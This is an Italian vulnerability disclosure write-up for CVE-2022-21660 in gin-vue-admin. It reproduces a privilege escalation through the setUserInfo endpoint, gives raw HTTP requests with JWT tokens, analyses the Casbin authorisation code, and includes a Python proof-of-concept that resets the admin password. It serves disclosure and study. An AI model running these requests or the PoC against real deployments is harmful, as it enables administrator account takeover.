
CVE-2022-21660
Benvenuti a tutti i grandi esperti, date una start a questo progetto.```http https://github.com/flipped-aurora/gin-vue-admin/

Dopo aver finito l'articolo, richiedere il CVE è stato un po' complicato, ma fortunatamente siamo riusciti a ottenerlo. Il personale di GitHub è stato reattivo.
> ps: prima di richiedere il CVE, abbiamo già presentato il CNVD

### 2. Configurazione dell'ambiente
Seguendo il tutorial ufficiale```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Successivamente, entra nella directory server```bash go generate
```bash
go build -o server main.go
Quindi basta eseguire direttamente il server

Poi c'è il WEB, entra nella directory web e inserisci```bash cnpm install || npm install
Poi basta aspettare

Successivamente, al termine dell'installazione, si aprirà automaticamente una pagina web


Successivamente, inizializza e imposta le informazioni del database

Dopo aver configurato, clicca su "Inizializza" e poi accedi

### 3. Riproduzione della vulnerabilità
### SetUserInfo presenta una vulnerabilità di privilegi verticali
##### 1. L'interfaccia SetUserInfo imposta in modo non autorizzato le informazioni personali dell'utente
Andiamo direttamente alla pagina di gestione utenti e aggiungiamo un ruolo utente con privilegi bassi

Si può vedere che sopra non sono stati concessi privilegi di amministratore. Successivamente, crea un nuovo account e assegnalo a questo gruppo di ruoli


La vulnerabilità si trova alla riga 273 di https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Qui non viene effettuata alcuna convalida dell'ID passato. L'ID rappresenta l'utente; se si passa direttamente un ID specifico, è possibile modificare le informazioni personali dell'utente corrispondente.

Per prima cosa, usando il X-token dell'amministratore, modifichiamo il nome dell'utente con ID 1 in test1. Successivamente, possiamo vedere nel backend che l'ID dell'amministratore è stato modificato in test1.

Ora prendiamo il token dell'account appena creato, UzJu_HxSecTeam, e lo sostituiamo per modificare il nome utente dell'amministratore in test2.
Per prima cosa, andiamo nella sezione "Informazioni personali > Modifica password" dell'account UzJu_HxSecTeam, modifichiamo la password a caso, quindi otteniamo il token dell'account.

Questo token appartiene al ruolo con privilegi bassi. Normalmente, un utente con privilegi bassi non può modificare alcuna informazione di un amministratore.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Sostituiamo il Token e costruiamo i seguenti dati JSON.```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Sostituiremo il Token nell'interfaccia setUserinfo.```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Successivamente, ci viene indicato che l'impostazione è riuscita

A questo punto, passiamo all'account amministratore e verifichiamo se è stato modificato in test2

Si può vedere che l'utente amministratore è stato modificato con successo
##### 2. Violazione verticale dei privilegi tramite l'interfaccia SetUserInfo per modificare la password dell'amministratore senza condizioni
Durante il debug, è stato scoperto che nell'interfaccia setUserInfo, utilizzata per impostare le informazioni personali con violazione dei privilegi, non è possibile impostare solo id, username, nickname, headimg, ma in realtà è possibile passare anche parametri come password.

Ad esempio, costruiamo una richiesta impostando il nome dell'utente con ID 1 come admin e il nickname come super utente amministratore.
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}
A questo punto la password dell'amministratore è stata modificata in qwe@123, prova ad accedere

Successivamente il login riesce

PS: C'è un prerequisito: è necessario conoscere la password dell'utente di cui si vuole modificare la password
Innanzitutto sappiamo che la password predefinita di admin è 123456, a questo punto dobbiamo solo costruire i dati JSON e modificare il parametro username nei dati JSON con il nome dell'utente di cui vogliamo modificare la password in modo non autorizzato.
Per prima cosa accediamo con un account a bassi privilegi e modifichiamo la password una volta.

Cattureremo una richiesta changePassword, quindi inseriremo questa richiesta nel Repeater.

Successivamente, dobbiamo solo modificare il parametro username in admin.

Successivamente verrà indicato che la modifica è riuscita, quindi utilizziamo la nuova password per accedere come admin.

Successivamente il login riesce.

La posizione della vulnerabilità si trova in https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, riga 139```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }
> C'è una controversia: se conosci già la password dell'account di qualcun altro, non puoi semplicemente accedere al suo account? In effetti è così, ma il flusso logico del programma qui è: dopo aver completato l'autenticazione, normalmente l'utente corrente può solo modificare la propria password. Tuttavia, qui è possibile modificare quella degli altri cambiando l'ID. Da un altro punto di vista, potrebbe anche essere considerato un attacco di forza bruta, perché la pagina di login ha una verifica captcha.
### 四、Analisi del principio della vulnerabilità
> ps: Tutto il contenuto seguente proviene dalla comprensione di uno script kiddie che non ha mai studiato Go, né ha mai fatto sviluppo, sa solo Python.
Prima di tutto, dal punto di vista della logica aziendale normale, perché si verifica questa autorizzazione non autorizzata? In realtà il principio è abbastanza semplice. Principalmente perché quando creiamo un nuovo ruolo, ci sono alcuni parametri obbligatori. Sono proprio questi parametri che, una volta selezionati, danno all'utente la possibilità di superare i privilegi (ma non si può evitare di selezionarli, perché sono parametri obbligatori predefiniti). In realtà, alla fine, c'è un problema logico nel codice.

Prima di tutto, vediamo: dopo aver creato un nuovo ruolo, visualizziamo i permessi del ruolo.

Si può vedere che i permessi predefiniti per un nuovo utente, nel menu dei ruoli, hanno solo il permesso di accedere alla dashboard. Ma se guardiamo i permessi API del ruolo, scopriamo...

Ci sono alcuni permessi obbligatori:
+ Registrazione utente
+ Impostazione informazioni utente
+ Ottenere le proprie informazioni
+ Modifica password
+ Modifica ruolo utente
Questa è anche la fonte della vulnerabilità. Prima di tutto, "Impostazione informazioni utente". Se deselezioniamo...

Poi inseriamo il token dell'account del gruppo di ruolo con privilegi bassi in Burp per testare.
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}
Si può vedere chiaramente che al momento non abbiamo i permessi per impostare queste informazioni utente, e nella pagina di Debug di Go è anche facile scoprire la logica del codice. Ad esempio, ora non abbiamo il permesso di impostare le informazioni utente, ma in teoria, nel codice, accedendo a questa interfaccia, il breakpoint di Debug dovrebbe poter intercettare, ma come mostrato nell'immagine seguente, dopo aver impostato il breakpoint, il programma non si è fermato.

Da qui si può dedurre che prima di questa operazione dovrebbe esserci un'operazione di autenticazione (comune dovrebbe essere RBAC). Ora diamo al gruppo di ruoli a bassi privilegi il permesso di impostare gli utenti, e ripetiamo la richiesta per vedere.


Possiamo vedere che il programma si è fermato con successo qui. Quindi penso (da principiante di Go) che si potrebbe trovare l'autenticazione qui tramite Debug :)
Prima di tutto, su Mac, tasto Comando + clic sinistro del mouse per trovare dove viene chiamata questa funzione.

Poi si può vedere che c'è una funzione InitUserRouter per inizializzare il router dell'utente.

Allora continuo con il vecchio metodo: Comando + clic sinistro per determinare dove viene chiamato InitUserRoute.

Qui si nota che c'è un JWTAuth() e un middleware.CasbinHandler()
Prima di tutto guardiamo middleware.JWTAuth(), ancora il vecchio metodo: Comando + clic sinistro.

Poi arriviamo a un file jwt.go, la logica qui possiamo darle un'occhiata (ovviamente grazie all'autore per aver scritto alcuni commenti).

In Go, token:= dovrebbe essere equivalente a definire una variabile per ricevere la x-token nell'header della richiesta. Prima di tutto si controlla se token è vuoto; se è vuoto, restituisce direttamente che l'utente non è loggato o l'accesso è illegale.

Poi si controlla se il token dell'utente è nella blacklist. Qui dovrebbe essere determinato tramite cache o quando l'utente esce, per vedere se il token è già scaduto. Se è scaduto, restituisce un messaggio che informa l'utente di accesso da altra posizione o token non valido.

Qui viene passato alla funzione ParseToken per analizzare il Token; possiamo seguirla.

Non so cosa sia jwt.ParseWithClaims... Tradizione di famiglia, google.com.

Qui viene usato per crittare e decrittare JWT, poi restituisce una SigningKey, e poi si continua.
Grazie per la correzione dell'autore: Qui si analizza la stringa del token JWT passata, si ottiene la struttura jwt.Token, quindi dalla struttura si estrae Claims per ottenere le informazioni utente montate sul token quando è stato generato in precedenza.

Attraverso Google ho scoperto che ValidationErrorMalformed viene usato per determinare se il token è errato, poi ValidationErrorExpired per determinare se è scaduto, e poi ValidationErrorNotValidYet per determinare se il token è attivo, e poi restituisce. Anche se c'è ancora un pezzo di codice sotto.

Poi si controlla se il token è scaduto; se non è scaduto, si passa a reload. Poi arriviamo a middleware.CasbinHandler().

Prima si entra in utils.GetClaims e si passa un parametro.

Questa funzione serve per ottenere x-token e poi analizzare il token per determinare se è scaduto, ecc.

Poi si determina il ruolo dell'utente. Il 1234 qui è l'ID del gruppo di ruoli impostato nel web.


Poi si entra in casbinService.Casbin(). Tradizione di famiglia, vai su Baidu.

Come ipotizzato in precedenza, controllo permessi RBAC, qui si connette al database, e poi qui ho provato a entrare con F7 passo-passo, ma mi ha respinto, non capisco.

Guardando i commenti si può dedurre che qui si controllano i permessi.
Traduzione automatica: Enforce decide se un "subject" può accedere a un "object" con l'operazione "action", i parametri di input sono solitamente: (sub, obj, act).
Decide forzatamente se un "subject" può accedere a un "object" con l'operazione "action", i parametri di input sono solitamente: (sub, obj, act).

Poi si controlla se è in ambiente di sviluppo, e success è uguale a false. Qui || significa "o", o successo o indica permessi insufficienti.
Vediamo come funziona l'interfaccia setuserinfo quando si hanno i permessi. Prima di tutto mettiamo un breakpoint nell'interceptor.

Suggerimento: Attraverso Baidu ho scoperto che qui si usa il framework di controllo accessi Casbin di golang.
Poi mettiamo un breakpoint anche qui in setuserinfo.

Poiché l'interceptor nella logica del programma viene prima di setuserinfo, iniziamo dalla chiamata dell'interceptor.
Dopo aver inviato la richiesta con Burp, aspettiamo. A questo punto eseguiamo il debug passo-passo per vedere.

In questo momento il nostro gruppo di ruoli è 1234.

Poi si connette al database, e successivamente controlla i permessi.


Qui restituisce true, indicando che il permesso esiste. Poi si controlla se è ambiente di sviluppo o se success è uguale a true; qui passerà sicuramente il primo if.
Poi si arriva all'interfaccia setuserinfo.

shouldBindJson ha associato i parametri JSON.

Poi qui, dovrebbe essere usato per verificare se i parametri JSON passati sono corretti.

Sotto, direttamente, l'ID utente viene sostituito.

Qui l'ID è quello passato dal frontend, può essere modificato arbitrariamente, causando così l'escalation dei privilegi.


Poi, dopo essere stato inserito nel database, viene aggiornato e restituito.

Poi l'aggiornamento ha successo.
Le principali operazioni di autenticazione sono tutte nella funzione CasbinHandler del file cashbin.rbac.go, in particolare casbinService.Casbin() e e.Enforce(sub, obj, act).
La mia comprensione dell'escalation dei privilegi qui è: se viene dato il permesso di impostare le informazioni utente, per impostazione predefinita quell'utente può modificare le informazioni utente secondo le regole di permesso, e quando modifica, basta sostituire con l'ID di qualcun altro per modificare le informazioni altrui.
A questo punto si capisce: prima l'autenticazione controlla l'AuthorityId per determinare se l'utente ha il permesso di operare su una certa interfaccia.

Ma in setuserinfo l'ID usato è l'ID dell'account utente.

Quindi si verifica l'escalation, perché questo ID può essere controllato quando viene passato dal frontend, ed è già dopo l'autenticazione. Dopo aver comunicato con l'autore, ha spiegato che la correzione è semplice: basta forzare l'assegnazione di user.id all'ID del permesso corrispondente al JWT, così non si causerà escalation, perché non importa come il frontend lo passi, alla fine nel codice c'è una riga che modificherà il valore di user.id con l'ID corrispondente al JWT corrente.
Ma nella logica del flusso di business, questi permessi devono essere dati, perché altrimenti l'utente corrente non può modificare le proprie informazioni.

#!/usr/bin/env python
''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''
import requests import json import sys
class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if name == 'main': try: Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: [email protected] GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
Il motivo per cui il metodo check_interface_ChangePassword non è stato scritto è che si tratta di un'interfaccia di brute force, perché prima di modificare la password di qualsiasi utente, è necessario conoscere la password dell'account da modificare, il che è simile a un attacco di brute force, quindi non è stato scritto. Poi, per quanto riguarda il metodo checkvuln, l'id nei dati json di payload_data può essere effettivamente modificato arbitrariamente, e può anche essere scritto come un ciclo for per eseguire l'iterazione, perché nell'ambiente reale non si è certi che l'ID dell'amministratore sia 1, oppure se esiste una distruzione dolosa, può causare un certo impatto.

### 6. Richiesta CVE
> Non c'è bisogno di parlare del CNVD, è già stato inviato, qui si richiede il CVE.
> La richiesta tramite GitHub per ottenere un ID è molto veloce, al massimo 3 giorni, in questo caso è stato inviato lo stesso giorno e l'assegnazione preliminare del CVE è stata ricevuta nelle prime ore del giorno successivo.
> Le seguenti operazioni richiedono di contattare l'autore per eseguirle, altrimenti non si ha il pulsante 'New Draft security advisory'.



Scrivi nella Description il contenuto della vulnerabilità, il processo di riproduzione e il POC, poi clicca su 'Create draft security advisory'.
**Poiché era la prima volta che facevamo questa richiesta, abbiamo commesso un errore: abbiamo solo elencato una bozza senza inviare la richiesta, il che ci ha fatto aspettare invano per 7 giorni.**

Dopo aver scritto, assicurati di scorrere fino in fondo e cliccare su 'Request CVE ID'.


> Articolo di riferimento: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
### 7. Ringraziamenti
+ Sito del team dell'autore: https://github.com/flipped-aurora/
+ GitHub dell'autore: https://github.com/piexlmax
+ Indirizzo del progetto Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin